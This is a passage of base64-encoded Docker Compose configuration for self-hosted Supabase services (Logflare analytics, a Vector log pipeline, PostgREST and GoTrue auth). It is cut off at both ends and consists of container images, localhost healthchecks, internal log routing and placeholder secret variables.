FseXRpY3M6CiAgICBpbWFnZTogJ3N1cGFiYXNlL2xvZ2ZsYXJlOjEuNC4wJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjQwMDAvaGVhbHRoJwogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMTAKICAgIGRlcGVuZHNfb246CiAgICAgIHN1cGFiYXNlLWRiOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBMT0dGTEFSRV9OT0RFX0hPU1Q9MTI3LjAuMC4xCiAgICAgIC0gREJfVVNFUk5BTUU9c3VwYWJhc2VfYWRtaW4KICAgICAgLSBEQl9EQVRBQkFTRT1fc3VwYWJhc2UKICAgICAgLSAnREJfSE9TVE5BTUU9JHtQT1NUR1JFU19IT1NUTkFNRTotc3VwYWJhc2UtZGJ9JwogICAgICAtICdEQl9QT1JUPSR7UE9TVEdSRVNfUE9SVDotNTQzMn0nCiAgICAgIC0gJ0RCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gREJfU0NIRU1BPV9hbmFseXRpY3MKICAgICAgLSAnTE9HRkxBUkVfQVBJX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfTE9HRkxBUkV9JwogICAgICAtIExPR0ZMQVJFX1NJTkdMRV9URU5BTlQ9dHJ1ZQogICAgICAtIExPR0ZMQVJFX1NJTkdMRV9URU5BTlRfTU9ERT10cnVlCiAgICAgIC0gTE9HRkxBUkVfU1VQQUJBU0VfTU9ERT10cnVlCiAgICAgIC0gTE9HRkxBUkVfTUlOX0NMVVNURVJfU0laRT0xCiAgICAgIC0gJ1BPU1RHUkVTX0JBQ0tFTkRfVVJMPXBvc3RncmVzcWw6Ly9zdXBhYmFzZV9hZG1pbjoke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QCR7UE9TVEdSRVNfSE9TVE5BTUU6LXN1cGFiYXNlLWRifToke1BPU1RHUkVTX1BPUlQ6LTU0MzJ9L19zdXBhYmFzZScKICAgICAgLSBQT1NUR1JFU19CQUNLRU5EX1NDSEVNQT1fYW5hbHl0aWNzCiAgICAgIC0gTE9HRkxBUkVfRkVBVFVSRV9GTEFHX09WRVJSSURFPW11bHRpYmFja2VuZD10cnVlCiAgc3VwYWJhc2UtdmVjdG9yOgogICAgaW1hZ2U6ICd0aW1iZXJpby92ZWN0b3I6MC4yOC4xLWFscGluZScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLS1uby12ZXJib3NlJwogICAgICAgIC0gJy0tdHJpZXM9MScKICAgICAgICAtICctLXNwaWRlcicKICAgICAgICAtICdodHRwOi8vc3VwYWJhc2UtdmVjdG9yOjkwMDEvaGVhbHRoJwogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMwogICAgdm9sdW1lczoKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9sb2dzL3ZlY3Rvci55bWwKICAgICAgICB0YXJnZXQ6IC9ldGMvdmVjdG9yL3ZlY3Rvci55bWwKICAgICAgICByZWFkX29ubHk6IHRydWUKICAgICAgICBjb250ZW50OiAiYXBpOlxuICBlbmFibGVkOiB0cnVlXG4gIGFkZHJlc3M6IDAuMC4wLjA6OTAwMVxuXG5zb3VyY2VzOlxuICBkb2NrZXJfaG9zdDpcbiAgICB0eXBlOiBkb2NrZXJfbG9nc1xuICAgIGV4Y2x1ZGVfY29udGFpbmVyczpcbiAgICAgIC0gc3VwYWJhc2UtdmVjdG9yXG5cbnRyYW5zZm9ybXM6XG4gIHByb2plY3RfbG9nczpcbiAgICB0eXBlOiByZW1hcFxuICAgIGlucHV0czpcbiAgICAgIC0gZG9ja2VyX2hvc3RcbiAgICBzb3VyY2U6IHwtXG4gICAgICAucHJvamVjdCA9IFwiZGVmYXVsdFwiXG4gICAgICAuZXZlbnRfbWVzc2FnZSA9IGRlbCgubWVzc2FnZSlcbiAgICAgIC5hcHBuYW1lID0gZGVsKC5jb250YWluZXJfbmFtZSlcbiAgICAgIGRlbCguY29udGFpbmVyX2NyZWF0ZWRfYXQpXG4gICAgICBkZWwoLmNvbnRhaW5lcl9pZClcbiAgICAgIGRlbCguc291cmNlX3R5cGUpXG4gICAgICBkZWwoLnN0cmVhbSlcbiAgICAgIGRlbCgubGFiZWwpXG4gICAgICBkZWwoLmltYWdlKVxuICAgICAgZGVsKC5ob3N0KVxuICAgICAgZGVsKC5zdHJlYW0pXG4gIHJvdXRlcjpcbiAgICB0eXBlOiByb3V0ZVxuICAgIGlucHV0czpcbiAgICAgIC0gcHJvamVjdF9sb2dzXG4gICAgcm91dGU6XG4gICAgICBrb25nOiAnc3RhcnRzX3dpdGgoc3RyaW5nISguYXBwbmFtZSksIFwic3VwYWJhc2Uta29uZ1wiKSdcbiAgICAgIGF1dGg6ICdzdGFydHNfd2l0aChzdHJpbmchKC5hcHBuYW1lKSwgXCJzdXBhYmFzZS1hdXRoXCIpJ1xuICAgICAgcmVzdDogJ3N0YXJ0c193aXRoKHN0cmluZyEoLmFwcG5hbWUpLCBcInN1cGFiYXNlLXJlc3RcIiknXG4gICAgICByZWFsdGltZTogJ3N0YXJ0c193aXRoKHN0cmluZyEoLmFwcG5hbWUpLCBcInJlYWx0aW1lLWRldlwiKSdcbiAgICAgIHN0b3JhZ2U6ICdzdGFydHNfd2l0aChzdHJpbmchKC5hcHBuYW1lKSwgXCJzdXBhYmFzZS1zdG9yYWdlXCIpJ1xuICAgICAgZnVuY3Rpb25zOiAnc3RhcnRzX3dpdGgoc3RyaW5nISguYXBwbmFtZSksIFwic3VwYWJhc2UtZnVuY3Rpb25zXCIpJ1xuICAgICAgZGI6ICdzdGFydHNfd2l0aChzdHJpbmchKC5hcHBuYW1lKSwgXCJzdXBhYmFzZS1kYlwiKSdcbiAgIyBJZ25vcmVzIG5vbiBuZ2lueCBlcnJvcnMgc2luY2UgdGhleSBhcmUgcmVsYXRlZCB3aXRoIGtvbmcgYm9vdGluZyB1cFxuICBrb25nX2xvZ3M6XG4gICAgdHlwZTogcmVtYXBcbiAgICBpbnB1dHM6XG4gICAgICAtIHJvdXRlci5rb25nXG4gICAgc291cmNlOiB8LVxuICAgICAgcmVxLCBlcnIgPSBwYXJzZV9uZ2lueF9sb2coLmV2ZW50X21lc3NhZ2UsIFwiY29tYmluZWRcIilcbiAgICAgIGlmIGVyciA9PSBudWxsIHtcbiAgICAgICAgICAudGltZXN0YW1wID0gcmVxLnRpbWVzdGFtcFxuICAgICAgICAgIC5tZXRhZGF0YS5yZXF1ZXN0LmhlYWRlcnMucmVmZXJlciA9IHJlcS5yZWZlcmVyXG4gICAgICAgICAgLm1ldGFkYXRhLnJlcXVlc3QuaGVhZGVycy51c2VyX2FnZW50ID0gcmVxLmFnZW50XG4gICAgICAgICAgLm1ldGFkYXRhLnJlcXVlc3QuaGVhZGVycy5jZl9jb25uZWN0aW5nX2lwID0gcmVxLmNsaWVudFxuICAgICAgICAgIC5tZXRhZGF0YS5yZXF1ZXN0Lm1ldGhvZCA9IHJlcS5tZXRob2RcbiAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5wYXRoID0gcmVxLnBhdGhcbiAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5wcm90b2NvbCA9IHJlcS5wcm90b2NvbFxuICAgICAgICAgIC5tZXRhZGF0YS5yZXNwb25zZS5zdGF0dXNfY29kZSA9IHJlcS5zdGF0dXNcbiAgICAgIH1cbiAgICAgIGlmIGVyciAhPSBudWxsIHtcbiAgICAgICAgYWJvcnRcbiAgICAgIH1cbiAgIyBJZ25vcmVzIG5vbiBuZ2lueCBlcnJvcnMgc2luY2UgdGhleSBhcmUgcmVsYXRlZCB3aXRoIGtvbmcgYm9vdGluZyB1cFxuICBrb25nX2VycjpcbiAgICB0eXBlOiByZW1hcFxuICAgIGlucHV0czpcbiAgICAgIC0gcm91dGVyLmtvbmdcbiAgICBzb3VyY2U6IHwtXG4gICAgICAubWV0YWRhdGEucmVxdWVzdC5tZXRob2QgPSBcIkdFVFwiXG4gICAgICAubWV0YWRhdGEucmVzcG9uc2Uuc3RhdHVzX2NvZGUgPSAyMDBcbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfbmdpbnhfbG9nKC5ldmVudF9tZXNzYWdlLCBcImVycm9yXCIpXG4gICAgICBpZiBlcnIgPT0gbnVsbCB7XG4gICAgICAgICAgLnRpbWVzdGFtcCA9IHBhcnNlZC50aW1lc3RhbXBcbiAgICAgICAgICAuc2V2ZXJpdHkgPSBwYXJzZWQuc2V2ZXJpdHlcbiAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5ob3N0ID0gcGFyc2VkLmhvc3RcbiAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5oZWFkZXJzLmNmX2Nvbm5lY3RpbmdfaXAgPSBwYXJzZWQuY2xpZW50XG4gICAgICAgICAgdXJsLCBlcnIgPSBzcGxpdChwYXJzZWQucmVxdWVzdCwgXCIgXCIpXG4gICAgICAgICAgaWYgZXJyID09IG51bGwge1xuICAgICAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5tZXRob2QgPSB1cmxbMF1cbiAgICAgICAgICAgICAgLm1ldGFkYXRhLnJlcXVlc3QucGF0aCA9IHVybFsxXVxuICAgICAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5wcm90b2NvbCA9IHVybFsyXVxuICAgICAgICAgIH1cbiAgICAgIH1cbiAgICAgIGlmIGVyciAhPSBudWxsIHtcbiAgICAgICAgYWJvcnRcbiAgICAgIH1cbiAgIyBHb3RydWUgbG9ncyBhcmUgc3RydWN0dXJlZCBqc29uIHN0cmluZ3Mgd2hpY2ggZnJvbnRlbmQgcGFyc2VzIGRpcmVjdGx5LiBCdXQgd2Uga2VlcCBtZXRhZGF0YSBmb3IgY29uc2lzdGVuY3kuXG4gIGF1dGhfbG9nczpcbiAgICB0eXBlOiByZW1hcFxuICAgIGlucHV0czpcbiAgICAgIC0gcm91dGVyLmF1dGhcbiAgICBzb3VyY2U6IHwtXG4gICAgICBwYXJzZWQsIGVyciA9IHBhcnNlX2pzb24oLmV2ZW50X21lc3NhZ2UpXG4gICAgICBpZiBlcnIgPT0gbnVsbCB7XG4gICAgICAgICAgLm1ldGFkYXRhLnRpbWVzdGFtcCA9IHBhcnNlZC50aW1lXG4gICAgICAgICAgLm1ldGFkYXRhID0gbWVyZ2UhKC5tZXRhZGF0YSwgcGFyc2VkKVxuICAgICAgfVxuICAjIFBvc3RnUkVTVCBsb2dzIGFyZSBzdHJ1Y3R1cmVkIHNvIHdlIHNlcGFyYXRlIHRpbWVzdGFtcCBmcm9tIG1lc3NhZ2UgdXNpbmcgcmVnZXhcbiAgcmVzdF9sb2dzOlxuICAgIHR5cGU6IHJlbWFwXG4gICAgaW5wdXRzOlxuICAgICAgLSByb3V0ZXIucmVzdFxuICAgIHNvdXJjZTogfC1cbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfcmVnZXgoLmV2ZW50X21lc3NhZ2UsIHInXig/UDx0aW1lPi4qKTogKD9QPG1zZz4uKikkJylcbiAgICAgIGlmIGVyciA9PSBudWxsIHtcbiAgICAgICAgICAuZXZlbnRfbWVzc2FnZSA9IHBhcnNlZC5tc2dcbiAgICAgICAgICAudGltZXN0YW1wID0gdG9fdGltZXN0YW1wIShwYXJzZWQudGltZSlcbiAgICAgICAgICAubWV0YWRhdGEuaG9zdCA9IC5wcm9qZWN0XG4gICAgICB9XG4gICMgUmVhbHRpbWUgbG9ncyBhcmUgc3RydWN0dXJlZCBzbyB3ZSBwYXJzZSB0aGUgc2V2ZXJpdHkgbGV2ZWwgdXNpbmcgcmVnZXggKGlnbm9yZSB0aW1lIGJlY2F1c2UgaXQgaGFzIG5vIGRhdGUpXG4gIHJlYWx0aW1lX2xvZ3M6XG4gICAgdHlwZTogcmVtYXBcbiAgICBpbnB1dHM6XG4gICAgICAtIHJvdXRlci5yZWFsdGltZVxuICAgIHNvdXJjZTogfC1cbiAgICAgIC5tZXRhZGF0YS5wcm9qZWN0ID0gZGVsKC5wcm9qZWN0KVxuICAgICAgLm1ldGFkYXRhLmV4dGVybmFsX2lkID0gLm1ldGFkYXRhLnByb2plY3RcbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfcmVnZXgoLmV2ZW50X21lc3NhZ2UsIHInXig/UDx0aW1lPlxcZCs6XFxkKzpcXGQrXFwuXFxkKykgXFxbKD9QPGxldmVsPlxcdyspXFxdICg/UDxtc2c+LiopJCcpXG4gICAgICBpZiBlcnIgPT0gbnVsbCB7XG4gICAgICAgICAgLmV2ZW50X21lc3NhZ2UgPSBwYXJzZWQubXNnXG4gICAgICAgICAgLm1ldGFkYXRhLmxldmVsID0gcGFyc2VkLmxldmVsXG4gICAgICB9XG4gICMgU3RvcmFnZSBsb2dzIG1heSBjb250YWluIGpzb24gb2JqZWN0cyBzbyB3ZSBwYXJzZSB0aGVtIGZvciBjb21wbGV0ZW5lc3NcbiAgc3RvcmFnZV9sb2dzOlxuICAgIHR5cGU6IHJlbWFwXG4gICAgaW5wdXRzOlxuICAgICAgLSByb3V0ZXIuc3RvcmFnZVxuICAgIHNvdXJjZTogfC1cbiAgICAgIC5tZXRhZGF0YS5wcm9qZWN0ID0gZGVsKC5wcm9qZWN0KVxuICAgICAgLm1ldGFkYXRhLnRlbmFudElkID0gLm1ldGFkYXRhLnByb2plY3RcbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfanNvbiguZXZlbnRfbWVzc2FnZSlcbiAgICAgIGlmIGVyciA9PSBudWxsIHtcbiAgICAgICAgICAuZXZlbnRfbWVzc2FnZSA9IHBhcnNlZC5tc2dcbiAgICAgICAgICAubWV0YWRhdGEubGV2ZWwgPSBwYXJzZWQubGV2ZWxcbiAgICAgICAgICAubWV0YWRhdGEudGltZXN0YW1wID0gcGFyc2VkLnRpbWVcbiAgICAgICAgICAubWV0YWRhdGEuY29udGV4dFswXS5ob3N0ID0gcGFyc2VkLmhvc3RuYW1lXG4gICAgICAgICAgLm1ldGFkYXRhLmNvbnRleHRbMF0ucGlkID0gcGFyc2VkLnBpZFxuICAgICAgfVxuICAjIFBvc3RncmVzIGxvZ3Mgc29tZSBtZXNzYWdlcyB0byBzdGRlcnIgd2hpY2ggd2UgbWFwIHRvIHdhcm5pbmcgc2V2ZXJpdHkgbGV2ZWxcbiAgZGJfbG9nczpcbiAgICB0eXBlOiByZW1hcFxuICAgIGlucHV0czpcbiAgICAgIC0gcm91dGVyLmRiXG4gICAgc291cmNlOiB8LVxuICAgICAgLm1ldGFkYXRhLmhvc3QgPSBcImRiLWRlZmF1bHRcIlxuICAgICAgLm1ldGFkYXRhLnBhcnNlZC50aW1lc3RhbXAgPSAudGltZXN0YW1wXG5cbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfcmVnZXgoLmV2ZW50X21lc3NhZ2UsIHInLiooP1A8bGV2ZWw+SU5GT3xOT1RJQ0V8V0FSTklOR3xFUlJPUnxMT0d8RkFUQUx8UEFOSUM/KTouKicsIG51bWVyaWNfZ3JvdXBzOiB0cnVlKVxuXG4gICAgICBpZiBlcnIgIT0gbnVsbCB8fCBwYXJzZWQgPT0gbnVsbCB7XG4gICAgICAgIC5tZXRhZGF0YS5wYXJzZWQuZXJyb3Jfc2V2ZXJpdHkgPSBcImluZm9cIlxuICAgICAgfVxuICAgICAgaWYgcGFyc2VkICE9IG51bGwge1xuICAgICAgLm1ldGFkYXRhLnBhcnNlZC5lcnJvcl9zZXZlcml0eSA9IHBhcnNlZC5sZXZlbFxuICAgICAgfVxuICAgICAgaWYgLm1ldGFkYXRhLnBhcnNlZC5lcnJvcl9zZXZlcml0eSA9PSBcImluZm9cIiB7XG4gICAgICAgICAgLm1ldGFkYXRhLnBhcnNlZC5lcnJvcl9zZXZlcml0eSA9IFwibG9nXCJcbiAgICAgIH1cbiAgICAgIC5tZXRhZGF0YS5wYXJzZWQuZXJyb3Jfc2V2ZXJpdHkgPSB1cGNhc2UhKC5tZXRhZGF0YS5wYXJzZWQuZXJyb3Jfc2V2ZXJpdHkpXG5cbnNpbmtzOlxuICBsb2dmbGFyZV9hdXRoOlxuICAgIHR5cGU6ICdodHRwJ1xuICAgIGlucHV0czpcbiAgICAgIC0gYXV0aF9sb2dzXG4gICAgZW5jb2Rpbmc6XG4gICAgICBjb2RlYzogJ2pzb24nXG4gICAgbWV0aG9kOiAncG9zdCdcbiAgICByZXF1ZXN0OlxuICAgICAgcmV0cnlfbWF4X2R1cmF0aW9uX3NlY3M6IDEwXG4gICAgdXJpOiAnaHR0cDovL3N1cGFiYXNlLWFuYWx5dGljczo0MDAwL2FwaS9sb2dzP3NvdXJjZV9uYW1lPWdvdHJ1ZS5sb2dzLnByb2QmYXBpX2tleT0ke0xPR0ZMQVJFX0FQSV9LRVk/TE9HRkxBUkVfQVBJX0tFWSBpcyByZXF1aXJlZH0nXG4gIGxvZ2ZsYXJlX3JlYWx0aW1lOlxuICAgIHR5cGU6ICdodHRwJ1xuICAgIGlucHV0czpcbiAgICAgIC0gcmVhbHRpbWVfbG9nc1xuICAgIGVuY29kaW5nOlxuICAgICAgY29kZWM6ICdqc29uJ1xuICAgIG1ldGhvZDogJ3Bvc3QnXG4gICAgcmVxdWVzdDpcbiAgICAgIHJldHJ5X21heF9kdXJhdGlvbl9zZWNzOiAxMFxuICAgIHVyaTogJ2h0dHA6Ly9zdXBhYmFzZS1hbmFseXRpY3M6NDAwMC9hcGkvbG9ncz9zb3VyY2VfbmFtZT1yZWFsdGltZS5sb2dzLnByb2QmYXBpX2tleT0ke0xPR0ZMQVJFX0FQSV9LRVk/TE9HRkxBUkVfQVBJX0tFWSBpcyByZXF1aXJlZH0nXG4gIGxvZ2ZsYXJlX3Jlc3Q6XG4gICAgdHlwZTogJ2h0dHAnXG4gICAgaW5wdXRzOlxuICAgICAgLSByZXN0X2xvZ3NcbiAgICBlbmNvZGluZzpcbiAgICAgIGNvZGVjOiAnanNvbidcbiAgICBtZXRob2Q6ICdwb3N0J1xuICAgIHJlcXVlc3Q6XG4gICAgICByZXRyeV9tYXhfZHVyYXRpb25fc2VjczogMTBcbiAgICB1cmk6ICdodHRwOi8vc3VwYWJhc2UtYW5hbHl0aWNzOjQwMDAvYXBpL2xvZ3M/c291cmNlX25hbWU9cG9zdGdSRVNULmxvZ3MucHJvZCZhcGlfa2V5PSR7TE9HRkxBUkVfQVBJX0tFWT9MT0dGTEFSRV9BUElfS0VZIGlzIHJlcXVpcmVkfSdcbiAgbG9nZmxhcmVfZGI6XG4gICAgdHlwZTogJ2h0dHAnXG4gICAgaW5wdXRzOlxuICAgICAgLSBkYl9sb2dzXG4gICAgZW5jb2Rpbmc6XG4gICAgICBjb2RlYzogJ2pzb24nXG4gICAgbWV0aG9kOiAncG9zdCdcbiAgICByZXF1ZXN0OlxuICAgICAgcmV0cnlfbWF4X2R1cmF0aW9uX3NlY3M6IDEwXG4gICAgIyBXZSBtdXN0IHJvdXRlIHRoZSBzaW5rIHRocm91Z2gga29uZyBiZWNhdXNlIGluZ2VzdGluZyBsb2dzIGJlZm9yZSBsb2dmbGFyZSBpcyBmdWxseSBpbml0aWFsaXNlZCB3aWxsXG4gICAgIyBsZWFkIHRvIGJyb2tlbiBxdWVyaWVzIGZyb20gc3R1ZGlvLiBUaGlzIHdvcmtzIGJ5IHRoZSBhc3N1bXB0aW9uIHRoYXQgY29udGFpbmVycyBhcmUgc3RhcnRlZCBpbiB0aGVcbiAgICAjIGZvbGxvd2luZyBvcmRlcjogdmVjdG9yID4gZGIgPiBsb2dmbGFyZSA+IGtvbmdcbiAgICB1cmk6ICdodHRwOi8vc3VwYWJhc2Uta29uZzo4MDAwL2FuYWx5dGljcy92MS9hcGkvbG9ncz9zb3VyY2VfbmFtZT1wb3N0Z3Jlcy5sb2dzJmFwaV9rZXk9JHtMT0dGTEFSRV9BUElfS0VZP0xPR0ZMQVJFX0FQSV9LRVkgaXMgcmVxdWlyZWR9J1xuICBsb2dmbGFyZV9mdW5jdGlvbnM6XG4gICAgdHlwZTogJ2h0dHAnXG4gICAgaW5wdXRzOlxuICAgICAgLSByb3V0ZXIuZnVuY3Rpb25zXG4gICAgZW5jb2Rpbmc6XG4gICAgICBjb2RlYzogJ2pzb24nXG4gICAgbWV0aG9kOiAncG9zdCdcbiAgICByZXF1ZXN0OlxuICAgICAgcmV0cnlfbWF4X2R1cmF0aW9uX3NlY3M6IDEwXG4gICAgdXJpOiAnaHR0cDovL3N1cGFiYXNlLWFuYWx5dGljczo0MDAwL2FwaS9sb2dzP3NvdXJjZV9uYW1lPWRlbm8tcmVsYXktbG9ncyZhcGlfa2V5PSR7TE9HRkxBUkVfQVBJX0tFWT9MT0dGTEFSRV9BUElfS0VZIGlzIHJlcXVpcmVkfSdcbiAgbG9nZmxhcmVfc3RvcmFnZTpcbiAgICB0eXBlOiAnaHR0cCdcbiAgICBpbnB1dHM6XG4gICAgICAtIHN0b3JhZ2VfbG9nc1xuICAgIGVuY29kaW5nOlxuICAgICAgY29kZWM6ICdqc29uJ1xuICAgIG1ldGhvZDogJ3Bvc3QnXG4gICAgcmVxdWVzdDpcbiAgICAgIHJldHJ5X21heF9kdXJhdGlvbl9zZWNzOiAxMFxuICAgIHVyaTogJ2h0dHA6Ly9zdXBhYmFzZS1hbmFseXRpY3M6NDAwMC9hcGkvbG9ncz9zb3VyY2VfbmFtZT1zdG9yYWdlLmxvZ3MucHJvZC4yJmFwaV9rZXk9JHtMT0dGTEFSRV9BUElfS0VZP0xPR0ZMQVJFX0FQSV9LRVkgaXMgcmVxdWlyZWR9J1xuICBsb2dmbGFyZV9rb25nOlxuICAgIHR5cGU6ICdodHRwJ1xuICAgIGlucHV0czpcbiAgICAgIC0ga29uZ19sb2dzXG4gICAgICAtIGtvbmdfZXJyXG4gICAgZW5jb2Rpbmc6XG4gICAgICBjb2RlYzogJ2pzb24nXG4gICAgbWV0aG9kOiAncG9zdCdcbiAgICByZXF1ZXN0OlxuICAgICAgcmV0cnlfbWF4X2R1cmF0aW9uX3NlY3M6IDEwXG4gICAgdXJpOiAnaHR0cDovL3N1cGFiYXNlLWFuYWx5dGljczo0MDAwL2FwaS9sb2dzP3NvdXJjZV9uYW1lPWNsb3VkZmxhcmUubG9ncy5wcm9kJmFwaV9rZXk9JHtMT0dGTEFSRV9BUElfS0VZP0xPR0ZMQVJFX0FQSV9LRVkgaXMgcmVxdWlyZWR9J1xuIgogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jazpybycKICAgIGVudmlyb25tZW50OgogICAgICAtICdMT0dGTEFSRV9BUElfS0VZPSR7U0VSVklDRV9QQVNTV09SRF9MT0dGTEFSRX0nCiAgICBjb21tYW5kOgogICAgICAtICctLWNvbmZpZycKICAgICAgLSBldGMvdmVjdG9yL3ZlY3Rvci55bWwKICBzdXBhYmFzZS1yZXN0OgogICAgaW1hZ2U6ICdwb3N0Z3Jlc3QvcG9zdGdyZXN0OnYxMi4yLjEyJwogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtZGI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgc3VwYWJhc2UtYW5hbHl0aWNzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUEdSU1RfREJfVVJJPXBvc3RncmVzOi8vYXV0aGVudGljYXRvcjoke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QCR7UE9TVEdSRVNfSE9TVE5BTUU6LXN1cGFiYXNlLWRifToke1BPU1RHUkVTX1BPUlQ6LTU0MzJ9LyR7UE9TVEdSRVNfREI6LXBvc3RncmVzfScKICAgICAgLSAnUEdSU1RfREJfU0NIRU1BUz0ke1BHUlNUX0RCX1NDSEVNQVM6LXB1YmxpYyxzdG9yYWdlLGdyYXBocWxfcHVibGljfScKICAgICAgLSBQR1JTVF9EQl9BTk9OX1JPTEU9YW5vbgogICAgICAtICdQR1JTVF9KV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtIFBHUlNUX0RCX1VTRV9MRUdBQ1lfR1VDUz1mYWxzZQogICAgICAtICdQR1JTVF9BUFBfU0VUVElOR1NfSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfSldUfScKICAgICAgLSAnUEdSU1RfQVBQX1NFVFRJTkdTX0pXVF9FWFA9JHtKV1RfRVhQSVJZOi0zNjAwfScKICAgIGNvbW1hbmQ6IHBvc3RncmVzdAogICAgZXhjbHVkZV9mcm9tX2hjOiB0cnVlCiAgc3VwYWJhc2UtYXV0aDoKICAgIGltYWdlOiAnc3VwYWJhc2UvZ290cnVlOnYyLjE3NC4wJwogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtZGI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgc3VwYWJhc2UtYW5hbHl0aWNzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gd2dldAogICAgICAgIC0gJy0tbm8tdmVyYm9zZScKICAgICAgICAtICctLXRyaWVzPTEnCiAgICAgICAgLSAnLS1zcGlkZXInCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo5OTk5L2hlYWx0aCcKICAgICAgdGltZW91dDogNXMKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtIEdPVFJVRV9BUElfSE9TVD0wLjAuMC4wCiAgICAgIC0gR09UUlVFX0FQSV9QT1JUPTk5OTkKICAgICAgLSAnQVBJX0VYVEVSTkFMX1VSTD0ke0FQSV9FWFRFUk5BTF9VUkw6LWh0dHA6Ly9zdXBhYmFzZS1rb25nOjgwMDB9JwogICAgICAtIEdPVFJVRV9EQl9EUklWRVI9cG9zdGdyZXMKICAgICAgLSAnR09UUlVFX0RCX0RBVEFCQVNFX1VSTD1wb3N0Z3JlczovL3N1cGFiYXNlX2F1dGhfYWRtaW46JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUAke1BPU1RHUkVTX0hPU1ROQU1FOi1zdXBhYmFzZS1kYn06JHtQT1NUR1JFU19QT1JUOi01NDMyfS8ke1BPU1RHUkVTX0RCOi1wb3N0Z3Jlc30nCiAgICAgIC0gJ0dPVFJVRV9TSVRFX1VSTD0ke1NFUlZJQ0VfVVJMX1NVUEFCQVNFS09OR30nCiAgICAgIC0gJ0dPVFJVRV9VUklfQUxMT1dfTElTVD0ke0FERElUSU9OQUxfUkVESVJFQ1RfVVJMU30nCiAgICAgIC0gJ0dPVFJVRV9ESVNBQkxFX1NJR05VUD0ke0RJU0FCTEVfU0lHTlVQOi1mYWxzZX0nCiAgICAgIC0gR09UUlVFX0pXVF9BRE1JTl9ST0xFUz1zZXJ2aWNlX3JvbGUKICAgICAgLSBHT1RSVUVfSldUX0FVRD1hdXRoZW50aWNhdGVkCiAgICAgIC0gR09UUlVFX0pXVF9ERUZBVUxUX0dST1VQX05BTUU9YXV0aGVudGljYXRlZAogICAgICAtICdHT1RSVUVfSldUX0VYUD0ke0pXVF9FWFBJUlk6LTM2MDB9JwogICAgICAtICdHT1RSVUVfSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfSldUfScKICAgICAgLSAnR09UUlVFX0VYVEVSTkFMX0VNQUlMX0VOQUJMRUQ9JHtFTkFCTEVfRU1BSUxfU0lHTlVQOi10cnVlfScKICAgICAgLSAnR09UUlVFX0VYVEVSTkFMX0FOT05ZTU9VU19VU0VSU19FTkFCTEVEPSR7RU5BQkxFX0FOT05ZTU9VU19VU0VSUzotZmFsc2V9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX0FVVE9DT05GSVJNPSR7RU5BQkxFX0VNQUlMX0FVVE9DT05GSVJNOi1mYWxzZX0nCiAgICAgIC0gJ0dPVFJVRV9TTVRQX0FETUlOX0VNQUlMPSR7U01UUF9BRE1JTl9FTUFJTH0nCiAgICAgIC0gJ0dPVFJVRV9TTVRQX0hPU1Q9JHtTTVRQX0hPU1R9JwogICAgICAtICdHT1RSVUVfU01UUF9QT1JUPSR7U01UUF9QT1JUOi01ODd9JwogICAgICAtICdHT1RSVUVfU01UUF9VU0VSPSR7U01UUF9VU0VSfScKICAgICAgLSAnR09UUlVFX1NNVFBfUEFTUz0ke1NNVFBfUEFTU30nCiAgICAgIC0gJ0dPVFJVRV9TTVRQX1NFTkRFUl9OQU1FPSR7U01UUF9TRU5ERVJfTkFNRX0nCiAgICAgIC0gJ0dPVFJVRV9NQUlMRVJfVVJMUEFUSFNfSU5WSVRFPSR7TUFJTEVSX1VSTFBBVEhTX0lOVklURTotL2F1dGgvdjEvdmVyaWZ5fScKICAgICAgLSAnR09UUlVFX01BSUxFUl9VUkxQQVRIU19DT05GSVJNQVRJT049JHtN